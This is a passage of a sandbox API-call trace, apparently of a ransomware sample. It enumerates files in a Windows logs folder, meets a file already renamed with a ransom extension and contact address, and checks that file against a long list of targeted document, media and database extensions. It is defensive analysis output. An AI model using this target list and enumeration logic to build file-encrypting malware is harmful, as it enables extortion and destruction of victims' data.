	[0062.074] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0062.074] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e70050
	[0062.075] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0062.075] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811a48
	[0062.075] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0062.075] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0062.075] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0062.075] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0062.075] lstrlenW (lpString="Logs") returned 4
	[0062.075] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0062.075] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.076] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0062.076] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f08
	[0062.076] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.076] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6fa542, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b6fa542, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b720eb8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DOWNLE~1.GTF")) returned 1
	[0062.076] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 79
	[0062.076] lstrlenW (lpString=".1cd") returned 4
	[0062.076] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0062.076] lstrlenW (lpString=".3ds") returned 4
	[0062.076] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0062.076] lstrlenW (lpString=".3fr") returned 4
	[0062.076] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0062.076] lstrlenW (lpString=".3g2") returned 4
	[0062.076] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0062.076] lstrlenW (lpString=".3gp") returned 4
	[0062.076] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0062.076] lstrlenW (lpString=".7z") returned 3
	[0062.076] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0062.076] lstrlenW (lpString=".accda") returned 6
	[0062.076] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0062.076] lstrlenW (lpString=".accdb") returned 6
	[0062.076] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0062.076] lstrlenW (lpString=".accdc") returned 6
	[0062.076] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0062.076] lstrlenW (lpString=".accde") returned 6
	[0062.076] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0062.076] lstrlenW (lpString=".accdt") returned 6
	[0062.076] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0062.076] lstrlenW (lpString=".accdw") returned 6
	[0062.076] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0062.077] lstrlenW (lpString=".adb") returned 4
	[0062.077] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".adp") returned 4
	[0062.077] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai") returned 3
	[0062.077] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai3") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai4") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai5") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai6") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai7") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ai8") returned 4
	[0062.077] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".anim") returned 5
	[0062.077] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0062.077] lstrlenW (lpString=".arw") returned 4
	[0062.077] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".as") returned 3
	[0062.077] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0062.077] lstrlenW (lpString=".asa") returned 4
	[0062.077] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".asc") returned 4
	[0062.077] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".ascx") returned 5
	[0062.077] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0062.077] lstrlenW (lpString=".asm") returned 4
	[0062.077] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".asmx") returned 5
	[0062.077] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0062.077] lstrlenW (lpString=".asp") returned 4
	[0062.077] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0062.077] lstrlenW (lpString=".aspx") returned 5
	[0062.078] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0062.078] lstrlenW (lpString=".asr") returned 4
	[0062.078] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".asx") returned 4
	[0062.078] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".avi") returned 4
	[0062.078] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".avs") returned 4
	[0062.078] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".backup") returned 7
	[0062.078] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0062.078] lstrlenW (lpString=".bak") returned 4
	[0062.078] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".bay") returned 4
	[0062.078] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".bd") returned 3
	[0062.078] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0062.078] lstrlenW (lpString=".bin") returned 4
	[0062.078] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".bmp") returned 4
	[0062.078] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".bz2") returned 4
	[0062.078] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".c") returned 2
	[0062.078] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0062.078] lstrlenW (lpString=".cdr") returned 4
	[0062.078] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".cer") returned 4
	[0062.078] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".cf") returned 3
	[0062.078] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0062.078] lstrlenW (lpString=".cfc") returned 4
	[0062.078] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".cfm") returned 4
	[0062.078] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0062.078] lstrlenW (lpString=".cfml") returned 5
	[0062.078] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0062.078] lstrlenW (lpString=".cfu") returned 4
	[0062.079] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".chm") returned 4
	[0062.079] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".cin") returned 4
	[0062.079] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".class") returned 6
	[0062.079] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0062.079] lstrlenW (lpString=".clx") returned 4
	[0062.079] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".config") returned 7
	[0062.079] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0062.079] lstrlenW (lpString=".cpp") returned 4
	[0062.079] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".cr2") returned 4
	[0062.079] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".crt") returned 4
	[0062.079] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0062.079] lstrlenW (lpString=".crw") returned 4
	[0062.080] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".cs") returned 3
	[0062.080] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0062.080] lstrlenW (lpString=".css") returned 4
	[0062.080] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".csv") returned 4
	[0062.080] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".cub") returned 4
	[0062.080] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dae") returned 4
	[0062.080] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dat") returned 4
	[0062.080] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".db") returned 3
	[0062.080] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0062.080] lstrlenW (lpString=".dbf") returned 4
	[0062.080] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dbx") returned 4
	[0062.080] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dc3") returned 4
	[0062.080] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dcm") returned 4
	[0062.080] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dcr") returned 4
	[0062.080] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".der") returned 4
	[0062.080] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dib") returned 4
	[0062.080] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dic") returned 4
	[0062.080] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".dif") returned 4
	[0062.080] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0062.080] lstrlenW (lpString=".divx") returned 5
	[0062.080] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".djvu") returned 5
	[0062.081] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".dng") returned 4
	[0062.081] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".doc") returned 4
	[0062.081] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".docm") returned 5
	[0062.081] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".docx") returned 5
	[0062.081] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".dot") returned 4
	[0062.081] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dotm") returned 5
	[0062.081] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".dotx") returned 5
	[0062.081] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".dpx") returned 4
	[0062.081] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dqy") returned 4
	[0062.081] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dsn") returned 4
	[0062.081] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dt") returned 3
	[0062.081] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0062.081] lstrlenW (lpString=".dtd") returned 4
	[0062.081] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dwg") returned 4
	[0062.081] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dwt") returned 4
	[0062.081] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".dx") returned 3
	[0062.081] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0062.081] lstrlenW (lpString=".dxf") returned 4
	[0062.081] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0062.081] lstrlenW (lpString=".edml") returned 5
	[0062.081] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0062.081] lstrlenW (lpString=".efd") returned 4
	[0062.082] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".elf") returned 4
	[0062.082] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".emf") returned 4
	[0062.082] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".emz") returned 4
	[0062.082] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".epf") returned 4
	[0062.082] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".eps") returned 4
	[0062.082] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".epsf") returned 5
	[0062.082] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0062.082] lstrlenW (lpString=".epsp") returned 5
	[0062.082] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0062.082] lstrlenW (lpString=".erf") returned 4
	[0062.082] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".exr") returned 4
	[0062.082] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".f4v") returned 4
	[0062.082] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".fido") returned 5
	[0062.082] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0062.082] lstrlenW (lpString=".flm") returned 4
	[0062.082] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".flv") returned 4
	[0062.082] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".frm") returned 4
	[0062.082] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".fxg") returned 4
	[0062.082] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".geo") returned 4
	[0062.082] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".gif") returned 4
	[0062.082] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0062.082] lstrlenW (lpString=".grs") returned 4
	[0062.082] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0062.083] lstrlenW (lpString=".gz") returned 3
	[0062.083] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0062.083] lstrlenW (lpString=".h") returned 2
	[0062.083] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0062.083] lstrlenW (lpString=".hdr") returned 4
	[0062.083] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".hpp") returned 4
	[0062.083] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".hta") returned 4
	[0062.083] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".htc") returned 4
	[0062.083] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".htm") returned 4
	[0062.083] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".html") returned 5
	[0062.083] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0062.083] lstrlenW (lpString=".icb") returned 4
	[0062.083] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".ics") returned 4
	[0062.083] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".iff") returned 4
	[0062.083] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".inc") returned 4
	[0062.083] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".indd") returned 5
	[0062.083] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0062.083] lstrlenW (lpString=".ini") returned 4
	[0062.083] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".iqy") returned 4
	[0062.083] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".j2c") returned 4
	[0062.083] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".j2k") returned 4
	[0062.083] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0062.083] lstrlenW (lpString=".java") returned 5
	[0062.083] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0062.083] lstrlenW (lpString=".jp2") returned 4
	[0062.083] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".jpc") returned 4
	[0062.084] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".jpe") returned 4
	[0062.084] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".jpeg") returned 5
	[0062.084] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0062.084] lstrlenW (lpString=".jpf") returned 4
	[0062.084] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".jpg") returned 4
	[0062.084] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".jpx") returned 4
	[0062.084] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".js") returned 3
	[0062.084] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0062.084] lstrlenW (lpString=".jsf") returned 4
	[0062.084] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".json") returned 5
	[0062.084] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0062.084] lstrlenW (lpString=".jsp") returned 4
	[0062.084] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".kdc") returned 4
	[0062.084] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".kmz") returned 4
	[0062.084] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".kwm") returned 4
	[0062.084] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".lasso") returned 6
	[0062.084] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0062.084] lstrlenW (lpString=".lbi") returned 4
	[0062.084] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".lgf") returned 4
	[0062.084] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".lgp") returned 4
	[0062.084] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".log") returned 4
	[0062.084] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0062.084] lstrlenW (lpString=".m1v") returned 4
	[0062.085] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".m4a") returned 4
	[0062.085] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".m4v") returned 4
	[0062.085] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".max") returned 4
	[0062.085] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".md") returned 3
	[0062.085] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0062.085] lstrlenW (lpString=".mda") returned 4
	[0062.085] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mdb") returned 4
	[0062.085] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mde") returned 4
	[0062.085] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mdf") returned 4
	[0062.085] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mdw") returned 4
	[0062.085] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mef") returned 4
	[0062.085] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mft") returned 4
	[0062.085] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mfw") returned 4
	[0062.085] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mht") returned 4
	[0062.085] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mhtml") returned 6
	[0062.085] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0062.085] lstrlenW (lpString=".mka") returned 4
	[0062.085] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mkidx") returned 6
	[0062.085] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0062.085] lstrlenW (lpString=".mkv") returned 4
	[0062.085] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mos") returned 4
	[0062.085] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0062.085] lstrlenW (lpString=".mov") returned 4
	[0062.086] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mp3") returned 4
	[0062.086] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mp4") returned 4
	[0062.086] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mpeg") returned 5
	[0062.086] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0062.086] lstrlenW (lpString=".mpg") returned 4
	[0062.086] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mpv") returned 4
	[0062.086] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mrw") returned 4
	[0062.086] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".msg") returned 4
	[0062.086] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".mxl") returned 4
	[0062.086] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".myd") returned 4
	[0062.086] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".myi") returned 4
	[0062.086] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".nef") returned 4
	[0062.086] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".nrw") returned 4
	[0062.086] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".obj") returned 4
	[0062.086] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".odb") returned 4
	[0062.086] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".odc") returned 4
	[0062.086] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
